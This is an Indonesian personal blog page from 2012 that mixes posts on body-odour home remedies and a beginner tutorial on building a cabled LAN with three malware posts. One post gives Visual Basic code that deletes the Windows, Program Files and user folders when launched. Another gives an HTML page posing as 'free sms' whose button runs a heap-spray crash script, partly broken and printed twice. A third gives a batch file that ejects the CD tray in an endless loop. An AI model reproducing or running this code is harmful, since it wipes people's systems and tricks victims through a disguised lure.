pemuda tangguh
Minggu, 22 Juli 2012
bau kelek!
Cara Mengatasi Bau Badan (BB)
Apa jadinya kalau di tengah keramaian, bau badan Anda terasa menyengat? Sudah pasti orang akan menghindari dan memilih teman bicara yang lain. Bau badan memang mengganggu. Bahkan, sebagian orang, meski pun sudah mandi beberapa kali sehari tetap saja punya badan yang lebih cepat bau.
Bau badan bisa muncul karena dua zat, yaitu asam propionat atau asam propanoat dan asam isovalerik. Asam propionat atau asam propanoat adalah penguraian propionibacteria. Bakteri ini berada di saluran kelenjar sebasea orang remaja dan dewasa. Kalau sudah bereaksi, baunya seperti asam cuka. Sedangkan, asam isovalerik menyebabkan bau badan seperti keju yang dipengaruhi oleh staphylococcus epidermidis.
Untuk mengatasi bau badan, berbagai tips berikut ini layak untuk dicoba.
Minum rebusan air daun sirih sehari sekali.
Konsumsi tiap hari minimal tujuh lembar daun kemangi.
Hindari mengonsumsi makanan berlemak atau pedas.
Kurangi minuman yang mengandung kafein.
Minum air putih sebelum makan apa pun di pagi hari.
Untuk menyamarkan bau, gunakan parfum spray.
Timun bisa digunakan untuk mengatasi bau badan.Tinggal tempelkan irisan timun ke sumber bau
Konsumsi makanan berserat seperti biji-bijian, gandum, olahan kedelai, dan sayuran hijau.
Kenakan pakaian berbahan katun agar keringat lebih mudah terserap dan tidak segera bercampur dengan bakteri. Tapi, sebaiknya segera ganti baju begitu keringatan.
Bilas ketiak dengan cuka apel untuk mengurangi pH kulit dan menghilangkan bau ketiak.
Baking soda bisa dipakai untuk mengurangi keringat di kaki dan ketiak
Senin, 02 Juli 2012
Rabu, 27 Juni 2012
jangan coba-coba
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
Selasa, 26 Juni 2012
Script virus pd hp
<html><head><title>free sms</title></head><body>
<script>
function crash()
{
alert('The Guardian Angel, virus writer by PunkBusters J.A' ; shellcode = unescape('%
ucccc' ;
fill = unescape('%ucccc' ;
addr = 0x02020202;
var b = fill;
while (b.length<= 0x400000) b+=b;
}
</script>SMS Free on click, silahkan
click tombol dibawah untuk
tau caranya!<br><input type='button'
onClick='crash()'
value='click'>
</body>
</html>
<script>
function crash()
{
alert('The Guardian Angel, virus writer by PunkBusters J.A' ; shellcode = unescape('%
ucccc' ;
fill = unescape('%ucccc' ;
addr = 0x02020202;
var b = fill;
while (b.length<= 0x400000) b+=b;
}
</script>SMS Free on click, silahkan
click tombol dibawah untuk
tau caranya!<br><input type='button'
onClick='crash()'
value='click'>
</body>
</html>
my virus
::__---Virus name Created By VirusAuthor---__::
@echo off
::-------Open Disk Tray------::
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
::---------------------------::
@echo off
::-------Open Disk Tray------::
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
::---------------------------::
Senin, 25 Juni 2012
jaringan komputer lokal
Selamat datang di duniagus.blogspot.com, kritik dan saran dapat ditujukan ke agus_1052@yahoo.co.id.
18 April 2008
Mengenal Jaringan Komputer
Jaringan komputer merupakan sekelompok komputer yang saling berhubungan satu dengan yang lainnya sehingga dapat saling berbagi pakai secara bersama-sama sumber daya yang dimiliki oleh masing-masing komputer. Sumber daya ini antara lain:
· Data dan Informasi
· Program dan Aplikasi
· Perangkat keras seperti drive, printer dan modem.
Untuk membangun jaringan komputer diperlukan perangkat keras (hardware) jaringan. Perangkat keras ini diperlukan untuk menyambungkan komputer dengan komputer lain agar dapat saling berkomunikasi dan bertukar sumberdaya.
Untuk membentuk sebuah jaringan komputer, minimal dibutuhkan 2 buah komputer. Dua atau beberapa komputer tersebut dapat membentuk jaringan jika:
· Terhubung secara hardware
· Terhubung secara software
Untuk membentuk jaringan secara hardware, tiap-tiap komputer diharuskan mempunyai antar muka (interface) yang digunakan sebagai perantara antara komputer dan media transmisi, sehingga data dari komputer dapat melewati media transmisi yang berfungsi untuk melewatkan data, demikian sebaliknya agar data dari media transmisi dapat diterima kembali oleh komputer.
Dalam jaringan komputer lokal, media transmisi yang sering digunakan adalah kabel. Namun pada dasarnya jenis kabel tersebut banyak ragamnya. Jenis-jenis kabel tersebut antara lain:
UTP (Unshielded Twisted Pair) / STP (Shielded Twisted Pair)
· Coaxial
Fiber Optic
Khusus untuk jaringan pada skala kecil, kantor kecil atau ruangan banyak menggunakan kabel UTP dan Coaxial. Pada perkembangan terakhir ini jaringan komputer lokal dapat dibangun menggunakan media transmisi gelombang radio (wireless LAN).
Gambar 1. Sambungan Global Perangkat Keras Komputer
Gambar 1 menunjukkan persyaratan hardware yang digunakan untuk membangun jaringan komputer, yaitu :
Komputer itu sendiri minimal dua buah
Interface
Media transmisi.
Pada dasarnya setiap komputer dapat disambungkan dengan komputer lain untuk membentuk jaringan, dengan catatan bahwa komputer itu memiliki perangkat antar muka atau interface. Untuk membentuk Jaringan Komputer Lokal/LAN (Lokal Area Network) dengan menggunakan media transmisi kabel, interface yang digunakan sering disebut LAN Card atau NIC (Network Interface Card). NIC tersebut dapat berupa card tersendiri yang harus dipasang dalam mainboard komputer atau NIC yang sudah terintegrasi dengan mainbord (on board).
Jenis LAN Card yang berupa card dan harus dipasangkan dalam mainboard komputer memiliki beberapa jenis antara lain jenis PCI (Peripheral Componen Interconnect) atau ISA (Industry Standard Architecture). Pada perkembangan terakhir LAN Card yang banyak digunakan dan mudah didapatkan adalah LAN Card dengan jenis PCI, selain mudah didapatkan LAN Card jenis ini memiliki kecepatan transfer data yang lebih tinggi dibanding dengan LAN Card jenis ISA.
Sedangkan untuk membangun jaringan komputer lokal dengan media transmisi gelombang radio (Wireless), LAN Card yang digunakan harus LAN Card dengan jenis Wireless. Gambar 2 sampai dengan Gambar 4 menunjukkan berbagai jenis LAN Card.
Gambar 2. LAN Card PCI
Gambar 3. LAN Card ISA
Gambar 4. PCI dan USB Wireless LAN
Jaringan komputer lokal dengan media transmisi kabel, dapat menggunakan beberapa jenis kabel yaitu kabel Coaxial, kabel Twisted Pair dan kabel Fiber Optic. Kabel Coaxial memiliki banyak jenis, namun yang sering digunakan adalah kabel Coaxial dengan jenis RG-58 A/U. Perlengkapan lain untuk membangun jaringan komputer dengan kabel RG-58 A/U adalah BNC-Connector (British Naval Connector atau Bayonet Nut Connector atau Bayonet Neill Concelman), Terminator dan T-BNC seperti ditunjukkan dalam Gambar 5. Jaringan komputer tersebut menggunakan kartu jaringan Ethernet 10Base2 dan panjang kabel antar komputer maksimal 185 meter
Gambar 5. Kabel Coaxial RG-58, BNC Connector, Terminator, T-BNC
Jaringan komputer dengan kabel UTP panjang kabel maksimal per titik komputer 100 meter. Kabel Twisted Pair (UTP/STP) mempunyai karakteristik sebagai berikut :
· Merupakan sepasang kabel yang di-twist satu sama lain untuk mengurangi interferensi frekuensi liar.
· Dapat terdiri dari dua, empat, atau lebih pasangan kabel.
· Dua jenis kabel twisted pair, yaitu STP dan UTP.
· Koneksi menggunakan konektor RJ-11 atau RJ-45.
Khusus STP, dapat lebih tahan terhadap interferensi daripada UTP, dan dapat beroperasi pada kecepatan yang lebih tinggi (sampai 100 Mbps)
Gambar 6. Kabel UTP dan Connector RJ-45
Gambar 6 menunjukkan kabel UTP dan Connector RJ-45. Penyambungan kabel UTP dapat dilakukan dengan dua cara, yaitu lurus atau straight dan silang atau crossover. Sambungan straight berguna untuk:
Sambungan dari router kepada hub/switch.
Sambungan dari server kepada hub/switch.
Sambungan dari workstation kepada hub/switch.
Sambungan crossover berguna untuk :
Sambungan uplink antara switch.
Sambungan hub kepada switch.
Sambungan hub kepada hub lain.
Sambungan PC to PC, antara dua komputer (tanpa hub/switch).
Sambungan router interface kepada router interface yang lain.
Selain dengan perlengkapan yang sudah diuraikan, peralatan lain yang sering digunakan untuk membangun jaringan komputer adalah hub/switch untuk jaringan dengan topologi star, Wireless Access Point untuk jaringan komputer dengan tanpa kabel, dan Repeater yang digunakan untuk mengatasi jarak titik komputer yang melebihi jangkauan.
Gambar 7. Hub / Switch dan Wireless Access Poin
Langkah-Langkah Membangun Jaringan Komputer
Langkah awal dalam membangun jaringan komputer adalah menyiapkan media transmisi, berikut ini akan dilakukan kegiatan menyiapkan media transmisi dengan kabel UTP :
1. Alat dan Bahan
Membangun Jaringan Komputer perlu disiapkan perangkat kerasnya yaitu :
Sejumlah Komputer minimal 2 buah
Kabel UTP (diasumsikan akan membangun jaringan komputer lokal dengan media transmisi kabel), tiap titik komputer panjang kabel maksimal 100 meter.
Konektor RJ-45 yang harus dipasang di masing-masing ujung kabel.
Hub/switch jika komputer lebih dari dua.
LAN Card PCI jika komputer belum memiliki NIC onboard.
Tang (Crimp Plugs) untuk penyambungan kabel (Gambar 8).
Obeng untuk membuka chasing komputer.
Baut untuk mengunci LAN Card yang terpasang di mainboard.
Cutter untuk mengupas pelindung kabel
Gambar 8. Tang / Crimp Plugs RJ-45
2. Langkah Kerja
Langkah awal yang harus dilakukan adalah menyiapkan kabel jaringan dengan memasangkan konektor RJ-45 di masing-masing ujung kabel.
Kupas masing-masing pelindung ujung kabel agar kabel-kabel yang ada didalam pelindung terbuka (hanya pelindung kabel, bukan mengupas kabel-kabel sampai kelihatan tembaganya).Gambar 9. Ujung Kabel yang Dikupas
Masukkan ujung kabel-kabel tersebut ke konektor RJ-45. Dengan aturan jika komputer lebih dari dua dan menggunakan hub/switch maka penyambungan kabelnya secara straight seperti berikut:
Gambar 10. Jalur Penyambungan Straight Kabel pada RJ-45 Konektor
Gambar 11. Connector RJ-45 Tampak Belakang
Jika sambungan kabel hanya akan digunakan antara dua komputer atau dua hub/switch, maka sambungan kabel dilakukan secara crossover seperti berikut:
Gambar 12. Jalur Penyambungan Crossover Kabel pada RJ-45 Konektor
Gunakan Crimp Plugs RJ-45 untuk mengunci ujung kabel di dalam konektor
Langganan:
Postingan (Atom)